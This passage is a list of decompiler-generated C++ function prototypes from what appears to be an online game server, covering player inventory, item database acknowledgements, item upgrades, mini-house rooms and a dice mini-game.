ShineObjectClass::ShineMiniHouse::so_mh_SetIsLeaveOwner(ShineObjectClass::ShineMiniHouse *this, char bIsLeaveOwner); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsLeaveOwner(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ExcuteLeaveRoom(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ExcuteLeaveGame(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsActiveDiceTaiSai(ShineObjectClass::ShineMiniHouse *this); DICE_TAISAI_GAME_STATUS __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetGameStatus(ShineObjectClass::ShineMiniHouse *this); DICE_TAISAI_GAME_MODE __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetGameMode(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceRewardMoney(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_ITEM_ID_CHANGE_ACK *pDBAck); char __thiscall ChargedItemEffectDataBox::cideb_Next(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger); CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetIndex(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger); int __thiscall ShineObjectClass::ShinePlayer::sp_DiceTaiSaiItemIDChange(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak void __cdecl ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_LARGE_AMOUNT_REQ(int netcmd, int len, __int16 handle); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_Result_DiceRoll(ShineObjectClass::ShineMiniHouse *this); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_ResultLog_DiceRoll(ShineObjectClass::ShineMiniHouse *this, int nGameNo); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetExpectIncomeMoney(ShineObjectClass::ShineMiniHouse *this, ITEM_INVEN nInvenSlot); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetReceiptIncomeMoney(ShineObjectClass::ShineMiniHouse *this, ITEM_INVEN nInvenSlot); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetRank(ShineObjectClass::ShineMiniHouse *this, #325 *sp); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_RankSort(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ExcuteBlowGame(ShineObjectClass::ShineMiniHouse *this); void __thiscall GameDBSession::gds_NC_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_DICE_TAISAI_DB_EXPECT_INCOME_MONEY_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_DICE_TAISAI_DB_RECEIPT_INCOME_MONEY_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_DICE_TAISAI_DB_RANK_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_DICE_TAISAI_DB_ITEM_ID_CHANGE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); char __thiscall ShineObjectClass::ShinePlayer::so_DiceTaiSaiChargedItemLimitCheck(void *this, ItemBag *pItemBag, int nInvenType, char bIsDelActiveFurniture, int nGameStatus); int __thiscall Parameter::Container::c_Storepure(void *this, int cc, int a3, int pp); int __thiscall ShineObjectClass::ShinePlayer::sp_CalcTotalStat(void *this); void __cdecl ShineObjectClass::ShineObject::so_NC_ITEMDB_fail(int department, int command, __int16 errcode); unsigned __int16 __cdecl WeaponCostumInitCharge(unsigned __int16 itmid); bool __thiscall ShineObjectClass::ShinePlayer::smo_ply_IsCostumCharged(int this); void __thiscall ShineObjectClass::ShinePlayer::so_NC_ITEMDB_fail(void *this, int department, int command, unsigned __int16 errcode); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeCen(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeFame(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SaveFame(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeCell(void *this, int location, int cell, int exchange); void __thiscall ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize(void *this, __int16 command, int errcommand, int slot, int itm); void __thiscall GameDBSession::gds_NC_CHARGED_STAT_INITIALIZE_DB_SUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARGED_SKILLEMPOW_INITIALIZE_DB_SUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARGED_STAT_INITIALIZE_DB_FAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARGED_SKILLEMPOW_INITIALIZE_DB_FAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_InitFreeStat(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_InitSkillEmpow(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SkillEmpowerSetResult(void *this, __int16 err, __int16 skill); void __thiscall GameDBSession::gds_NC_CHAR_GET_ITEMLIST_BY_TYPE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate(void *this, unsigned __int16 equippart, int itemid, char *op); char __thiscall ShineObjectClass::ShinePlayer::so_ply_Script_CostumeTakeOff(void *this, unsigned __int16 equippart, unsigned __int16 itemid); void __thiscall ShineObjectClass::ShinePlayer::sp_NoticeItemBreak(void *this, __int16 inventype, __int16 invenslot); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_ITEMDB_MYSTERY_VAULT_MAKEITEM_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_WEAPONENDURE_CHARGE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __stdcall ShineObjectClass::ShineObject::so_ply_WeaponEndureChangeAck(int ack); void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck(void *this, int ack); void __thiscall ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB(void *this); void __stdcall ShineObjectClass::ShineObject::so_ply_InvenWrite(int msg); void __thiscall ShineObjectClass::ShinePlayer::so_ply_InvenWrite(void *ecx0, int msg); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_USER_CONNECTION_DB_CHANGE_CHAR_ID_ITEM_USE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __stdcall ShineObjectClass::ShineObject::so_ply_ChangeCharIDUseAck(int pAck); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck(void *this, int pAck); ItemAttributeClass *__thiscall ItemSmallBag::isb_Store(ItemSmallBag *this, int slot, ItemTotalInformation *iti); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease(void *this, char send, int idx); void __thiscall ShineObjectClass::ShinePlayer::so_ply_StoreItem(void *this, int inv, int iti, int exchange); void __thiscall ItemInventory::ii_BuyAll(ItemInventory *this, #434 *, unsigned __int16, PROTO_NC_ITEM_BUY_REQ *, unsigned int, unsigned int); void __thiscall ItemInventory::ii_BuyLot(ItemInventory *this, #434 *, unsigned __int16, ItemInventoryCell *, unsigned int, int, unsigned int, unsigned int); void __thiscall ItemGuildStorage::igs_BuyAll(ItemGuildStorage *this, #434 *, unsigned __int16, PROTO_NC_ITEM_BUY_REQ *, unsigned int); void __thiscall ItemGuildStorage::igs_BuyLot(ItemGuildStorage *this, #434 *, unsigned __int16, ItemInventoryCell *, unsigned int, int, unsigned int); void __thiscall GameDBSession::gds_NC_ITEMDB_BUYALLSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_BUYLOTSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_GUILD_TOKEN_BUYALLSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_GUILD_TOKEN_BUYLOTSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_BUYFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __cdecl ShineObjectClass::ShineObject::so_NC_ITEMDB_ADMINCREATEFAIL_ACK(int itemcreatefail); void __thiscall ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin(void *this, int box, int slot, int iti, int iic); void __thiscall ShineObjectClass::ShinePlayer::so_NC_ITEMDB_ADMINCREATEFAIL_ACK(void *this, int itemcreatefail); void __thiscall GameDBSession::gds_NC_ITEMDB_ADMINCREATESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_ADMINCREATEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD); // weak char __thiscall ShineObjectClass::ShinePlayer::sp_DestroyItem(void *this, int Handle, unsigned __int16 ItemID, __int16 inv, int InvenType); int __thiscall ShineObjectClass::ShinePlayer::sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall GameDBSession::gds_NC_ITEMDB_DESTROY_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_QUESTREWARD_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::sp_GetItemInvenLot(void *this, unsigned __int16 itemid); int __thiscall ShineObjectClass::ShinePlayer::sp_QuestItemGet(_DWORD, _DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_MakeItem(void *this, int handle, int iti); void __thiscall ShineObjectClass::ShinePlayer::sp_MakeItem(void *this, int handle, int method, unsigned __int16 itm, unsigned int lot); void __thiscall ItemDismantleProducer::ItemDismantleProducer(#434 *, unsigned __int16, unsigned int, ItemBag *, char); void __cdecl ItemDismantleProducer::_ItemDismantleProducer(); signed __int16 __thiscall ItemDismantleProducer::idp_WhereDismantleProductStore(void *ecx0, char a2, int a3, char a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, int a15, int a16, int a17, int a18, int a19, int a20, int a21, int a22, int a23, int a24, int a25, int a26, int a27, int a28, int a29, int a30, char a31); unsigned __int16 __thiscall ItemDismantleProducer::idp_DismantleProductExecute(#434 *, NETCOMMAND *, PROTO_NC_ITEMDB_DISMANTLE_REQ *); void __thiscall GameDBSession::gds_NC_ITEMDB_DISMANTLE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall BriefInformationDropItem::bidi_InitBriefInfo(BriefInformationDropItem *this, unsigned __int16 handle, unsigned __int16 itemid, SHINE_XY_TYPE *loc, int rareness, unsigned __int16 dropmob); char __thiscall ItemDataBox::idb_NoDropItem(ItemDataBox *this, unsigned __int16 item, char *invaliditem); char __cdecl ShineObjectClass::ShineObject::so_drpitm_CanLooting(); void __thiscall ItemInventory::ii_DropAll(ItemInventory *this, #434 *, unsigned __int16, PROTO_NC_ITEM_DROP_REQ *, ItemInventoryCell *); void __thiscall ItemInventory::ii_DropLot(ItemInventory *this, #434 *, unsigned __int16, PROTO_NC_ITEM_DROP_REQ *, ItemInventoryCell *); void __thiscall ShineObjectClass::ShineDropItem::so_drpitm_CanLootingBitSet(ShineObjectClass::ShineDropItem *this, #325 *obj); char __thiscall ShineObjectClass::ShineDropItem::so_drpitm_CanLooting(ShineObjectClass::ShineDropItem *this, #325 *looter); signed __int16 __cdecl ShineObjectClass::ShineObject::so_ItemDrop(__int16 handle, int a2, int item, int type, char looter_isparty, int looter_handle); unsigned __int16 __thiscall ShineObjectClass::ShineDropItem::so_ItemDrop(ShineObjectClass::ShineDropItem *this, unsigned __int16 handle, #325 *dropper, ItemTotalInformation *item, unsigned int type, char looter_isparty, unsigned int looter_handle); void __thiscall GameDBSession::gds_NC_ITEMDB_DROPALLSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_DROPALLLOT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_DROPALLFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_DROPLOTFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::sp_ItemDropOK(_DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::so_EquitEnd(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_BackupParameter(int this, void *last); // void __usercall ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ(int a1, int a2, int netcmd, int len, __int16 handle, __int16 a6); // void __usercall ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ(int a1, int a2, int netcmd, int equcell, int handle, __int16 a6, int a7, int a8, int a9, int a10); void __thiscall GameDBSession::gds_NC_ITEMDB_EQUIPSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_EQUIPFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall TreasureChestLocationManager::TreasureChestLocationManager(TreasureChestLocationManager *this); void __thiscall TreasureChestLocationManager::_TreasureChestLocationManager(CharacterPassiveList *this); void __thiscall List::_List(List *this); char __thiscall List::l_PushZ(List *this, ItemOperateElement *ele); char __thiscall List::l_PopA(List *this, ItemOperateElement *ele); char __thiscall List::l_PopZ(List *this, ItemOperateElement *ele); void __thiscall ItemOperateList::_ItemOperateList(int this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_PointStone(void *this, int lc); void __thiscall ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_QuestReward(void *this, int lc); void __thiscall ShineObjectClass::ShinePlayer::sp_KQReward(void *this, int rewardstr); void __thiscall GameDBSession::gds_NC_ITEMDB_CREATEITEMLISTSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_CREATEITEMLISTFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_KQ_REWARDSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_KQ_REWARDFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall List::l_Clear(List *this); char __thiscall List::l_PushA(List *this, ItemOperateElement *ele); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQRewardStruct(void *this, int kqe); void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQRewardIndex(void *this, char *idx); int __thiscall ItemOperateList::ItemOperateList(int this); char __thiscall ItemInventory::ii_PickAll(ItemInventory *this, #434 *, #325 *, unsigned __int16, ItemTotalInformation *, int); char __thiscall ItemInventory::ii_PickMerge(ItemInventory *this, #434 *, #325 *, unsigned __int16, ItemInventoryCell *, unsigned int, int, int); void __thiscall ShineObjectClass::ShinePlayer::sp_partyitemdistribute(#325 *, ItemTotalInformation *, unsigned __int16); char __thiscall ShineObjectClass::ShinePlayer::so_ply_PickupItem(#325 *, ItemTotalInformation *, unsigned __int16); void __thiscall ShineObjectClass::ShinePlayer::so_ply_PickupMoney(void *this, unsigned int money); void __thiscall ShineObjectClass::ShinePlayer::so_ply_IncDecMoney(void *this, unsigned int money, char Positive); void __thiscall GameDBSession::gds_NC_ITEMDB_PICKALLSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_PICKALLFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_PICKMERGESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_PICKMERGEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_PICKMONEYSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_PICKMONEYFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_INC_DEC_MONEYSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_INC_DEC_MONEYFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_itempickresult(void *this, __int16 error, __int16 handle); void __thiscall ItemLotInspector::ili_Set(ItemLotInspector *this, int action, unsigned __int16 itemid); void __thiscall ItemLotInspector::ili_SetFrom(ItemLotInspector *this, int sub, ITEM_INVEN *fromloc, SHINE_ITEM_STRUCT *itemstruct); void __thiscall ItemLotInspector::ili_SetTo(ItemLotInspector *this, int sub, ITEM_INVEN *toloc); void __thiscall ItemLotInspector::ili_TotalLotFrom(ItemLotInspector *this, #325 *sp); char __thiscall ItemDataBox::idb_NoTrade(ItemDataBox *this, unsigned __int16 item); char __thiscall ItemDataBox::idb_NoStorageItem(ItemDataBox *this, unsigned __int16 item); char __thiscall ItemDataBox::idb_BelongedItem(ItemDataBox *this, unsigned __int16 item); CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid); CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid); void __thiscall ItemRelocationManager::irm_Move(ItemRelocationManager *this, unsigned __int16 handle, #325 *sp, IterRelocationArgument *from, IterRelocationArgument *to); void __thiscall ItemRelocationManager::irm_Exchange(ItemRelocationManager *this, unsigned __int16 handle, #434 *sp, IterRelocationArgument *from, IterRelocationArgument *to); void __thiscall ItemRelocationManager::irm_Merge(ItemRelocationManager *this, unsigned __int16 handle, #434 *sp, IterRelocationArgument *from, IterRelocationArgument *to, int mergelot); void __thiscall ItemRelocationManager::irm_Split_N_Merge(ItemRelocationManager *this, unsigned __int16 handle, #434 *sp, IterRelocationArgument *from, IterRelocationArgument *to, int splitlot); void __thiscall GameDBSession::gds_NC_ITEMDB_RELOCSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_RELOCFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_EXCHANGESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_EXCHANGEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_MERGESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_MERGEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_SPLIT_N_MERGESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_SPLIT_N_MERGEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_ITEMDB_DEPOSIT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_DepositAck(void *this, int deposit); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_ITEMDB_WITHDRAW_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_WithdrawAck(void *this, int withdraw); void __thiscall GameDBSession::gds_NC_ITEMDB_GUILD_STORAGE_WITHDRAW_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::sp_Move2MiniHouse(_DWORD, _DWORD, _DWORD); // weak unsigned __int16 __thiscall ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init(ShineObjectClass::ShinePlayer::MiniHouseStr *this, #434 *, ItemInventoryCell *); void __thiscall ShineObjectClass::ShinePlayer::sp_DecorationActivCheck(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_MiniHouseActivCheck(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SendBoothSize(void *this); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_Move2MiniHouseFurniture(ShineObjectClass::ShineMiniHouse *this, #325 *, ItemInventoryCell *, int, int); int __thiscall ShineObjectClass::ShinePlayer::sp_DestroyNReloc(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_SmallItemReloc(void *ecx0, int a2, int a3); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck(void *this, int withdraw); char __thiscall ItemDataBox::idb_NoSellItem(ItemDataBox *this, unsigned __int16 item); void __thiscall ItemInventory::ii_SellAll(ItemInventory *this, #434 *, unsigned __int16, ItemInventoryCell *, PROTO_NC_ITEM_SELL_REQ *, unsigned int); void __thiscall ItemInventory::ii_SellLot(ItemInventory *this, #434 *, unsigned __int16, ItemInventoryCell *, PROTO_NC_ITEM_SELL_REQ *, unsigned int); void __thiscall GameDBSession::gds_NC_ITEMDB_SELLALLSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_SELLLOTSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_SELLFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_SPLITSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_SPLITFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemLotCheck(void *ecx0, unsigned int itemkey, int nGuildNo); void __thiscall GameDBSession::gds_NC_ITEMDB_UNEQUIPFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_UNEQUIPSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_GetLastUpgradeInfo(); int __thiscall ShineObjectClass::ShinePlayer::so_GetLastUpgradeInfo(void *this); bool __cdecl item_RandomOptionUpgrade(SHINE_ITEM_STRUCT *pItemStruct, ItemOptionStorage::Element *rOption, int muliple, int NewLevel); char __cdecl Item_GetUpgradeLimit(unsigned __int16 nItemID); bool __cdecl Item_IsUpSource(unsigned __int16 nItemID, unsigned __int16 nRawID, char nItemUpgradeLevel); bool __cdecl Item_IsUpSourceLeftRight(unsigned __int16 nItemID, unsigned __int16 nRawID, char nItemUpgradeLevel); char __cdecl Item_AdjUpgradeLevel(SHINE_ITEM_STRUCT *pItemStruct, char AdjValue); char __cdecl Item_AdjFailCount(SHINE_ITEM_STRUCT *pItemStruct, char AdjValue, char bSet); void __thiscall GameDBSession::gds_NC_ITEMDB_UPGRADE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); AccUpgrade *__cdecl ITableBase::GetByIndex(unsigned int uiIndex); char __cdecl Item_Upgrade(#434 *, ItemBag *, char, char, char, char, char); int __thiscall ShineObjectClass::ShinePlayer::sp_ItemUseReq_Inven(_DWORD, _DWORD, _DWORD, _DWORD); // weak void __cdecl ShineObjectClass::ShineObject::so_NC_ITEMDB_USE_ACK(__int16 index); void __thiscall ShineObjectClass::ShinePlayer::sp_ItemUseBroadcast(int this, int useitem, __int16 itmid); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueRoar *content); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_USEABORT_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_ITEMDB_USE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_NC_ITEMDB_USE_ACK(void *this, int index); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ItemUse(void *this, int itminf, int invenslot); void __thiscall UseEffect::UseItemSilverWing::uib_AfterCast(UseEffect::UseItemSilverWing *this, #434 *, ItemBag *, ItemDataBox::ItemDataBoxIndex *, char); void __thiscall UseEffect::UseItemNormal::uib_AfterCast(UseEffect::UseItemNormal *this, #434 *, ItemBag *, ItemDataBox::ItemDataBoxIndex *, char); void __thiscall ShineObjectClass::ShinePlayer::so_ply_RoarItemUseSuccess(void *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isAlreadyEnterPlayer(ShineObjectClass::ShineMiniHouse *this, #325 *sp); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_CanEnter(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isPublic(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PasswordComp(ShineObjectClass::ShineMiniHouse *this, char *Password); void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_BroadcastNotify(ShineObjectClass::ShineMiniHouse *this, char *Chat); NPCManager::LinkInformTemplete *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetRollBackLinkPos(ShineObjectClass::ShineMiniHouse *this); NPCManager::LinkInformTemplete *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetEnterLinkPos(ShineObjectClass::ShineMiniHouse *this); PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineMiniHouse::so_LoginLocation(ShineObjectClass::ShineMiniHouse *this); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetOwnerHandleNumber(ShineObjectClass::ShineMiniHouse *this); signed int __cdecl ShineObjectClass::ShineObject::so_mh_GetOwnerRegistNumber(); unsigned int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetOwnerRegistNumber(ShineObjectClass::ShineMiniHouse *this); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_GetMemberPlayerHandleNumber(int spc); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetMemberPlayerHandleNumber(ShineObjectClass::ShineMiniHouse *this, int spc); unsigned int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetMemberPlayerRegistNumber(ShineObjectClass::ShineMiniHouse *this, int spc); #325 *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetMemberPlayer(ShineObjectClass::ShineMiniHouse *this, int spc); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetInnerPlayerCount(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetInnerGMCount(ShineObjectClass::ShineMiniHouse *this); int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetMaxInnerPlayer(ShineObjectClass::ShineMiniHouse *this); BriefInformationMiniHouse *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetBriefInfo(ShineObjectClass::ShineMiniHouse *this); signed int __stdcall ShineObjectClass::ShineObject::so_mh_CompulsionMoveTo(int moveto); char __thiscall ShineObjectClass::ShineObject::so_mh_BuildingMiniHouse(#325 *this, #434 *, char *, char *, char *, int, char, char *); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetVisitReadyInfo(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_VISITREADY_ACK *visitready_ack); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetAllPlayerInfo(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_LOGINCOMPLETE_ACK *playerinfo, unsigned 